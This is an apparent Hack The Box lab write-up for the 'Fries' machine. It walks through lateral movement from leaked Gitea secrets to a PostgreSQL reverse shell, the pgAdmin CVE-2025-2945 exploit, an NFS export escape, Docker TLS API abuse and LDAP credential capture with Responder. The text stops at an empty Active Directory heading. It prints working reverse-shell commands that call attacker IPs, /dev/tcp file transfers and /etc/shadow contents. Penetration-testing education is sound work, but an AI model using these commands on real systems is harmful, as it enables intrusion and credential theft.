Hack The Box / WINDOWS / 2026-07-25
Hack The Box - Fries (Windows)
We start with supplied credentials that are valid only for the web applications. A misconfigured PWM instance and exposed Gitea repository lead to PostgreSQL command execution and a foothold inside the Docker environment. Abuse of the Docker TLS API yields root access to the Linux host, allowing recovery of the PWM configuration and Active Directory service account credentials. Finally, certipy reveals an AD CS misconfiguration that can be exploited through ESC6/ESC7 to obtain Domain Administrator privileges.
Machine Information
Please allow up to 7 minutes for services to load. As is common in real life Windows penetration tests, you will start the Fries box with credentials for the following account : d.cooper@fries.htb / D4LE11maan!!
Target
- IP:
10.10.11.96
Port scan
sudo nmap -sC -sV 10.10.11.96 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://fries.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-25 22:03:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-25T22:05:09+00:00; +5d01h51m41s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after: 2105-11-18T05:39:19
| MD5: 2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
|_SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP
| Issuer: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-01T22:06:09
| Not valid after: 2026-06-01T22:06:09
| MD5: 118d:ea17:3fba:3b65:28de:8e26:33e7:19f2
|_SHA-1: 5503:8aa8:0080:a853:ca73:87e3:b705:3fe8:b599:a855
|_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF9
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-25T22:05:08+00:00; +5d01h51m42s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after: 2105-11-18T05:39:19
| MD5: 2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
|_SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-25T22:05:09+00:00; +5d01h51m41s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after: 2105-11-18T05:39:19
| MD5: 2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
|_SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after: 2105-11-18T05:39:19
| MD5: 2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
|_SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
|_ssl-date: 2025-11-25T22:05:08+00:00; +5d01h51m42s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49687/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49688/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49922/tcp open msrpc Microsoft Windows RPC
50395/tcp open msrpc Microsoft Windows RPC
50424/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Add dc01.fries.htb, fries.htb, and pwm.fries.htb to /etc/hosts.
nxc smb dc01.fries.htb -u 'd.cooper' -p 'D4LE11maan!!' --shares
SMB 10.10.11.96 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.96 445 DC01 [-] fries.htb\d.cooper:D4LE11maan!! STATUS_LOGON_FAILURE
It appears that the provided credentials do not work on the system.
PWM enumeration
Browse to https://pwm.fries.htb/. We are redirected to https://pwm.fries.htb/pwm/private/login, which hosts a "password self service" site. The software is PWM.
There is a notification:
PWM is currently in configuration mode. This mode allows updating the configuration without authenticating to an LDAP directory first. End user functionality is not available in this mode.
After you have verified the LDAP directory settings, use the Configuration Manager to restrict the configuration to prevent unauthorized changes. After restricting, the configuration can still be changed but will require LDAP directory authentication first.
Clicking the arrow reveals the version: PWM v2.0.8 bb7ed22b. If we enter a random username and password, we get:
5017 ERROR_DIRECTORY_UNAVAILABLE (all ldap profiles are unreachable; errors: ["error connecting as proxy user: unable to create connection: unable to connect to ldap url, error: unable to bind to ldaps://dc01.fries.htb:636 as CN=svc_infra,CN=Users,DC=fries,DC=htb reason: CommunicationException (dc01.fries.htb:636; server certificate {subject=} does not match a certificate in the PWM configuration trust store.)"])
We have therefore obtained a username: svc_infra.
The provided credentials do not work. Clicking Configuration Manager or Configuration Editor prompts for a password, and D4LE11maan!! does not work.
Gitea enumeration
gobuster vhost -u 'http://fries.htb/' -w /home/kali/wordlists/subdomains-top1million-110000.txt -t 50 --append-domain
Found: code.fries.htb Status: 200 [Size: 13593]
Add code.fries.htb to /etc/hosts, then browse to http://code.fries.htb/. It is Gitea 1.22.6. There are no public repositories. On the users page we find:
dale(Dale Cooper)administrator
Log in to Gitea with the provided credentials: d.cooper@fries.htb / D4LE11maan!!.
There is a fries.htb repository. Clone it and enter the username and password:
git clone http://code.fries.htb/dale/fries.htb.git
Browsing the commits provides useful information. We find a .env file containing:
DATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
SECRET_KEY=y0st528wn1idjk3b9a
A README.md contains this useful information:
Ensure the backend PostgreSQL database is accessible and contains the necessary schema - ps_db
The backend database can be managed from http://db-mgmt05.fries.htb. (This requires infra access, contact Dylan, Mike or Dale)
Make sure the appropriate credentials and network routing are in place.
pgAdmin and PostgreSQL
Add db-mgmt05.fries.htb to /etc/hosts and browse to http://db-mgmt05.fries.htb. It is pgAdmin 4 and has a login form. Log in with d.cooper@fries.htb / D4LE11maan!!.
Click Servers. There is a fries.htb server and we are prompted for the root user's password. Enter PsqLR00tpaSS11; the login succeeds. There are three databases: gitea, postgres, and ps_db.
Open the gitea database. It contains a user table. Click User → View/Edit Data → All Rows. We can download the results as a .csv file. We obtain the administrator user's hash:
67faad48c47a340b45ca87fa1dc4d048ce6b41bb6fae6b555240f1ffdc31367ddb8430a46811a7d402618aec8cce4f00143e
The algorithm is pbkdf2$50000$50 and the salt is 65c13aa196bbd6189387a345febfdc21.
perl -e 'print pack ("H*", "67faad48c47a340b45ca87fa1dc4d048ce6b41bb6fae6b555240f1ffdc31367ddb8430a46811a7d402618aec8cce4f00143e")' | base64
Z/qtSMR6NAtFyof6HcTQSM5rQbtvrmtVUkDx/9wxNn3bhDCkaBGn1AJhiuyMzk8AFD4=
python3 -c 'import base64; print(base64.b64encode(bytes.fromhex("65c13aa196bbd6189387a345febfdc21")))'
ZcE6oZa71hiTh6NF/r/cIQ==
Build the final hash:
sha256:50000:ZcE6oZa71hiTh6NF/r/cIQ==:Z/qtSMR6NAtFyof6HcTQSM5rQbtvrmtVUkDx/9wxNn3bhDCkaBGn1AJhiuyMzk8AFD4=
Put it in a file named hash:
hashcat -a 0 -m 10900 ./hash ./rockyou.txt
It does not crack.
PostgreSQL can execute system commands, allowing us to obtain a reverse shell. Start a listener:
nc -vlnp 4444
Click the postgres database, then Tools → Query Tool. Enter and execute this query:
COPY (SELECT '') to PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.16.13/4444 0>&1"'
We obtain a reverse shell. Upgrade it:
script -qc /bin/bash /dev/null
CRTL+z
stty raw -echo
fg
We are in a Docker container with few commands available.
To upload files to the container, use this strategy. On the attacking machine:
cat myfile | nc -vlnp 4444
On the victim machine:
cat < /dev/tcp/10.10.16.13/4444 > myfile
Download the statically compiled curl and upload it to the container:
chmod +x curl
We can now upload files more easily by fetching them with curl.
Download the statically compiled netstat, upload it to the victim container, and run it:
./netstat -paneut
./netstat -paneut
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN 1/postgres
tcp 0 0 127.0.0.11:36175 0.0.0.0:* LISTEN -
tcp 0 0 172.18.0.3:5432 172.18.0.4:38676 ESTABLISHED 1516/postgres: root
tcp 0 0 172.18.0.3:5432 172.18.0.4:53524 ESTABLISHED 1493/postgres: root
tcp 0 0 172.18.0.3:5432 172.18.0.4:48416 ESTABLISHED 1518/postgres: root
tcp 0 0 172.18.0.3:5432 172.18.0.4:53528 ESTABLISHED 1494/postgres: root
tcp 0 0 172.18.0.3:5432 172.18.0.5:51306 ESTABLISHED 821/postgres: root
tcp 0 0 172.18.0.3:5432 172.18.0.4:47456 ESTABLISHED 1540/postgres: root
tcp 0 637 172.18.0.3:54388 10.10.16.13:4444 ESTABLISHED 1569/bash
tcp 0 0 172.18.0.3:5432 172.18.0.4:53538 ESTABLISHED 1495/postgres: root
tcp 0 0 172.18.0.3:5432 172.18.0.5:33906 ESTABLISHED 1175/postgres: root
tcp 0 0 :::5432 :::* LISTEN 1/postgres
udp 0 0 127.0.0.11:43823 0.0.0.0:*
Therefore, this is not the container hosting SSH.
Download the statically compiled ip, upload it, and inspect the network:
./ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 8a:fd:97:35:37:f0 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.3/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
./ip route
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 scope link src 172.18.0.3
Download the statically compiled nmap and upload it to the victim. Copy these files and upload them as well:
cp /usr/share/nmap/nmap-services .
cp /usr/share/nmap/nmap-protocols .
On the victim, run:
./nmap 172.18.0.0/24 -p- -v -T5
Nmap scan report for web (172.18.0.1)
Host is up (0.0041s latency).
Not shown: 65523 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
443/tcp open https
2049/tcp open nfs
3000/tcp open ppp
8443/tcp open https-alt
34981/tcp open unknown
37959/tcp open unknown
42735/tcp open unknown
43659/tcp open unknown
45971/tcp open unknown
Nmap scan report for web.scripts_vpcbr2 (172.18.0.2)
Host is up (0.0037s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
5000/tcp open upnp
Nmap scan report for 858fdf51af59 (172.18.0.3)
Host is up (0.00018s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
5432/tcp open postgresql
Nmap scan report for pgadmin4.scripts_vpcbr2 (172.18.0.4)
Host is up (0.0032s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
Nmap scan report for gitea.scripts_vpcbr2 (172.18.0.5)
Host is up (0.0031s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Nmap scan report for pwm.scripts_vpcbr2 (172.18.0.6)
Host is up (0.0039s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
8443/tcp open https-alt
NFS exploitation
To access the ports we found, use Chisel as a SOCKS proxy. Download Chisel and upload the Windows version to the victim. On the attacking machine:
./chisel server -p 9999 --reverse
On the victim:
./chisel client 10.10.16.13:9999 R:socks
Edit /etc/proxychains4.conf and add the following line, commenting out any other SOCKS proxy lines:
socks5 127.0.0.1 1080
proxychains showmount -e 172.18.0.1
/srv/web.fries.htb *
Run Chisel again as follows:
./chisel client 10.10.16.13:9999 R:socks R:127.0.0.1:2049:172.18.0.1:2049
mkdir mnt
sudo mount -t nfs 127.0.0.1:/srv/web.fries.htb ./mnt -o nolock
zip -r nfs_stuff.zip mnt/
There are three directories: certs, shared, and webroot. Nothing appears interesting.
I used nfs_analyze from nfs-security-tooling:
nfs_analyze 127.0.0.1
Checking host 127.0.0.1
Server does not support Portmap, skipping NFSv3 checks
Supported NFS versions reported by nfsd:
Version Supported
3 Yes
4.0 Yes
4.1 Yes
4.2 Yes
NFSv4 overview and auth methods (incomplete)
srv: pseudo
web.fries.htb: sys
shared: sys
certs: sys
webroot: sys
NFSv4 guessed exports (Linux only, may differ from /etc/exports):
Directory Auth methods Export file handle
/srv/web.fries.htb sys 0100070001000a00000000008a01da16c18a400cbc9b37e3567d3fba
NFSv4.1 Windows File Handle Signing: OK, server probably not Windows, Root file handle not as expected
Trying to escape exports
Export: /srv/web.fries.htb: file system type ext/xfs, parent: None, None
Escape successful, root directory listing:
lib64 mnt sys etc proc lib snap lost+found media tmp dev var .bash_history swap.img srv home libx32 bin root usr sbin lib32 opt boot run
Root file handle: 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000
GID of shadow group: 42
Content of /etc/shadow:
root:$y$j9T$yqbmFwMbHh7qoaRaY3jx..$FMFv9upB20J4yPWwAJxndkOA4zzrn5/Udv4BF9LbLq/:20239:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
syslog:*:19579:0:99999:7:::
uuidd:*:19579:0:99999:7:::
tcpdump:*:19579:0:99999:7:::
tss:*:19579:0:99999:7:::
landscape:*:19579:0:99999:7:::
fwupd-refresh:*:19579:0:99999:7:::
usbmux:*:19589:0:99999:7:::
svc:$y$j9T$Y7j3MSqEJTcNTqSSVJRS2.$h0AFlCXKB9V0PZ.BIyZKSGR6WFJWlxIRiqK.JLOB4PD:20238:0:99999:7:::
lxd:!:19589::::::
_rpc:*:20234:0:99999:7:::
statd:*:20234:0:99999:7:::
dnsmasq:*:20234:0:99999:7:::
barman:*:20236:0:99999:7:::
sssd:*:20238:0:99999:7:::
Trying to guess server OS
OS Property Fulfilled
Linux File Handles start with 0x0100 Yes
Windows NFSv3 File handles are 32 bytes long No
Windows Only NFS versions 3 and 4.1 supported No
FreeBSD Mountd reports subnets without mask Unknown
NetApp netapp partner protocol supported Unknown
HP-UX Only one request per TCP connection possible Unknown
Final OS guess: Linux
Put the root and svc hashes in a file named hash:
./john/run/john --list=formats
./john/run/john --format=crypt --wordlist=./rockyou.txt ./hash
They do not crack.
Use fuse_nfs to mount the target system's filesystem from its root directory. Edit /etc/fuse.conf and uncomment the user_allow_other line.
Run Chisel again:
./chisel client 10.10.16.13:9999 R:socks R:127.0.0.1:2049:172.18.0.1:2049 R:127.0.0.1:111:172.18.0.1:111
Now run:
fuse_nfs --manual-fh 0100070201000a00000000008a01da16c18a400cbc9b37e3567d3fba02000000000000000200000000000000 --allow-write --fake-uid --fake-uid-allow-root ./mnt 127.0.0.1
The hexadecimal file handle was printed earlier by nfs_analyze.
The entire filesystem is available. Go to mnt/home/svc/.ssh and put our public key in authorized_keys:
echo '<public_key>' >> authorized_keys
We can now connect over SSH:
ssh -i <private_key> svc@fries.htb
The following files are in mnt/srv/web.fries.htb/certs:
-rw-rw-rw- 1 root 59605603 1708 Nov 27 2025 ca-key.pem
-rw-rw-rw- 1 root 59605603 1111 Nov 27 2025 ca.pem
-rw-rw-rw- 1 root 59605603 1115 Nov 27 2025 server-cert.pem
-rw-rw-rw- 1 root 59605603 940 Nov 27 2025 server.csr
-rw-rw-rw- 1 root 59605603 1704 Nov 27 2025 server-key.pem
-rw-rw-rw- 1 root 59605603 205 Nov 27 2025 server-openssl.cnf
pgAdmin CVE-2025-2945
Consider the pgAdmin 4 service hosted in the container at 172.18.0.4. Clicking Help → About pgAdmin 4 shows version 9.1. It is vulnerable to CVE-2025-2945, for which an exploit exists in Metasploit:
msfconsole
use exploit/multi/http/pgadmin_query_tool_authenticated
set DB_USER root
set DB_PASS PsqLR00tpaSS11
set DB_NAME ps_db
set USERNAME d.cooper@fries.htb
set PASSWORD D4LE11maan!!
set RHOSTS db-mgmt05.fries.htb
set VHOHST db-mgmt05.fries.htb
set LHOST tun0
run
We obtain a Meterpreter shell.
getuid
Server username: pgadmin
shell
We obtain a shell.
env
We notice:
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
PGADMIN_DEFAULT_EMAIL=admin@fries.htb
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 26:cb:3a:82:23:05 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.4/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
We are in the pgadmin4.scripts_vpcbr2 container.
Obtain a better reverse shell. Start a listener:
nc -vlnp 4444
In the container shell, run:
bash -c 'bash -i >& /dev/tcp/10.10.14.102/4444 0>&1'
We obtain a reverse shell. Upgrade it:
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo
fg
id
uid=5050(pgadmin) gid=0(root) groups=0(root)
cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.21.3
PRETTY_NAME="Alpine Linux v3.21"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
It appears that we cannot do much here.
Docker API privilege escalation
Try the password found against the Windows machine's SSH port:
ssh svc@fries.htb
Enter the password Friesf00Ds2025!!. It works and we obtain a shell, but we are still in the web container, exactly as before.
ss -ltpn
We notice port 2376 listening on 127.0.0.1. This service is Docker's TLS API and uses X.509 certificates. First, forward the port to our machine:
ssh svc@fries.htb -NL 2376:localhost:2376
Generate an RSA key. Using the CA certificate (ca.pem) and CA key (ca-key.pem) exfiltrated earlier, generate a valid certificate:
openssl genrsa -out client-key.pem 4096
openssl req -new -key client-key.pem -out client.csr -subj "/CN=root"
openssl x509 -req -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out client-cert.pem -days 365
Use the generated certificate to connect to the Docker API:
docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H tcp://127.0.0.1:2376 version
It works.
docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H tcp://127.0.0.1:2376 ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f427ecaa3bdd pwm/pwm-webapp:latest "/app/startup.sh" 7 months ago Up 16 hours 0.0.0.0:8443->8443/tcp, [::]:8443->8443/tcp pwm
cb46692a4590 dpage/pgadmin4:9.1.0 "/entrypoint.sh" 7 months ago Up 16 hours 443/tcp, 127.0.0.1:5050->80/tcp pgadmin4
bfe752a26695 fries-web "/usr/local/bin/pyth…" 7 months ago Up 16 hours 127.0.0.1:5000->5000/tcp web
858fdf51af59 postgres:16 "docker-entrypoint.s…" 7 months ago Up 16 hours 5432/tcp postgres
b916aad508e2 gitea/gitea:1.22.6 "/usr/bin/entrypoint…" 7 months ago Up 16 hours 127.0.0.1:3000->3000/tcp, 172.18.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H tcp://127.0.0.1:2376 image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
<none> <none> a35a9aa8056b 6 weeks ago 513MB
fries-web latest 192168217481 7 months ago 151MB
postgres 16 616e340baeac 7 months ago 436MB
dpage/pgadmin4 9.1.0 b2e76a3c5433 10 months ago 513MB
pwm/pwm-webapp latest 6b2bacb1343e 10 months ago 378MB
gitea/gitea 1.22.6 dfd595e2afd4 12 months ago 167MB
We can obtain a shell on the Linux machine as root as follows:
docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H tcp://127.0.0.1:2376 run -v /:/mnt --rm -it gitea/gitea:1.22.6 chroot /mnt bash
We obtain a shell:
cd /root
There is a user.txt file containing the user flag.
/root/.ssh/id_rsa contains root's SSH private key. Copy it to the attacking machine as web_root_key:
chmod 600 web_root_key
We can now connect to the web machine as root over SSH:
ssh -i web_root_key root@fries.htb
Enter the PWM password-manager container:
docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H tcp://127.0.0.1:2376 exec -it f427ecaa3bdd bash
cat /config/PwmConfiguration.xml
We notice:
<property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property>
<setting key="ldap.proxy.password" modifyTime="2025-06-01T02:07:43Z" profile="default" syntax="PASSWORD" syntaxVersion="0">
<label>LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP Proxy Password</label>
<value>ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4ZWjp9XSJ+eB0lEG8bLpd45hP8XAfY8abvgQJm3ztQ0c=</value>
</setting>
<setting key="ldap.proxy.username" modifyTime="2025-06-01T02:07:43Z" profile="default" syntax="STRING" syntaxVersion="0">
<label>LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP Proxy User</label>
<value>CN=svc_infra,CN=Users,DC=fries,DC=htb</value>
</setting>
<setting key="pwm.securityKey" modifyTime="2025-06-01T02:07:43Z" syntax="PASSWORD" syntaxVersion="0">
<label>Settings ⇨ Security ⇨ Application Security ⇨ Security Key</label>
<value>ENC-PW:7UUVOi0nYr3nlzC16WMbxnn7KGWhIBsc4x6b1Q3XdY2zEOWA9ZGAtIy5l5NrKZCGPo/CX9b5OG/SB7rC+hgAzogj3DlkbnkdDYaAGVJXgy+lec5LO1vQcjXzZNBeXA+suqONj+sujtwfdVUiblFG0pRCk3DKhp0GMEUefPrT3z7k2s+/zoN9Km3crFEWAuPHLeD6vmW2fgd2DCmdJZd/NSEhDJnkdOR3gEydzBGNUzwd7tf1Tfffn78wWSckoc9JBHPoWZBt6CjG/wlvGFWd9C0Y/Oyf5DCNB1jqf9H1esMsQkDVb5NOM7l7nLg0lVpfEiOQMLU2m6ugh1SaA3VuITTWNIVvD24b1zxhOokVNJQyE9s4KJJQZMiAlO355RHQIOqnuxxLd+zhl7wdnfIC5St+XjG0HWDmGa3dPYrZeDAwc5prebiZTxnyv3PHLrLEptp3E59SgsMrkA85gxh3PTN8UiqUZjk49LHcuZ7ZtoG6F+cXnV+saZ/uC618vG2gxr52jaBflknuVXYf5vbQeDc6GNnN2CuPFaRgrgk4Ov3wVrmqY8n5Zzp+rPu5ZxvAx9IHhEp1ZvFtnLOFqwmM/tbwGnTUOVCk0ySOYKJJV3t+sPM0kwjK0nU12TkswpIsGTOkPt0hyw5JKPOLTdIjs27dlceNSfKRQ6zN6Q2iQ+52VI6ky5dU8Q0iUuG6eUsANclgGIsym/mjLeQ9Xg3D13SgknnWelMCA2hNw/puoK/FnhdwqgkcxVenRU4SZLcajyv265jSvz5+AEXl8yjfPgp4MT7AEAqf7jSZA7A3PzTu0u1FwB4JRbhInJP1pXEmVzCLQ0l4OH1HLJW4BSOWi03wuaHNmns5eE0N8Z7xRBMnO6Pw/9kFe8clF8I/wfh/8l3Zyu7avO18/5NNnFYd7qLUOKjBD7w6hirXxH6efkT6wB4rHMgpeu3vTQ9vhvPIQiUFSlaDwYZ6D0Fe69fC2U46jW+e/oZc3Mtq4oTCcuHsW6BIVMjfb8+WNk3Ed9qjTAsrJFLo2BYJ5tBwavWsxTMuu8OpECgVu+NdbSvOcZ67J1rh2ZDn9ZDzEwPDe3sarTEEap3OvncX8sk9y0l9ltFjEdvM8mVp3EYP8p01ojDcj6m6uHIZVhgNXtOSSiR/O8z5d+8Dd+csZl3ueZjOPmqLfWjtgs3wsLtdpPgy6/LJl2NMgnhuj7H80Cd+flBbp90eZfweCTtRVvQzrYJERf3Uxp4C5ZxbINcqh0Ghu2OwgP3vcKcIrb27mRna/rdyrmJHGsHIuXX+f8c6afY3qMUHTO9pFesASqU2phUUdZm8NyKNrPlpf28fgyHKsj84pyimyxQ4EJ7oPlDHJAa9HRYOpYDr4E5GZ8Lru27XUKTXpeS8B2jrA1LjJSiyEdptkXrCd+VJpinC2W+9kv2UJSYIkGoBg2jKQ9kp2s4utfo=</value>
</setting>
Try to crack configPasswordHash. Put the hash in a file named hash:
./hashcat/hashcat -a 0 -m 3200 ./hash ./rockyou.txt
We obtain:
$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG:rockon!
Browse to https://pwm.fries.htb/, click Configuration Editor, and enter the password rockon!. We gain access.
From the tree menu, select LDAP → LDAP Directories → Default → Connection. Change the LDAP URLs to point to us:
ldap://10.10.14.102:389
Start Responder:
sudo responder -I tun0
Click Test LDAP Profile. In the Responder terminal we obtain:
[LDAP] Cleartext Client : 10.10.11.96
[LDAP] Cleartext Username : CN=svc_infra,CN=Users,DC=fries,DC=htb
[LDAP] Cleartext Password : m6tneOMAh5p0wQ0d
nxc smb dc01.fries.htb -u svc_infra -p 'm6tneOMAh5p0wQ0d' --shares
SMB 10.10.11.96 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.96 445 DC01 [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d
SMB 10.10.11.96 445 DC01 [*] Enumerated shares
SMB 10.10.11.96 445 DC01 Share Permissions Remark
SMB 10.10.11.96 445 DC01 ----- ----------- ------
SMB 10.10.11.96 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.96 445 DC01 C$ Default share
SMB 10.10.11.96 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.96 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.96 445 DC01 SYSVOL READ Logon server share
The credentials work.
Active Directory enumeration
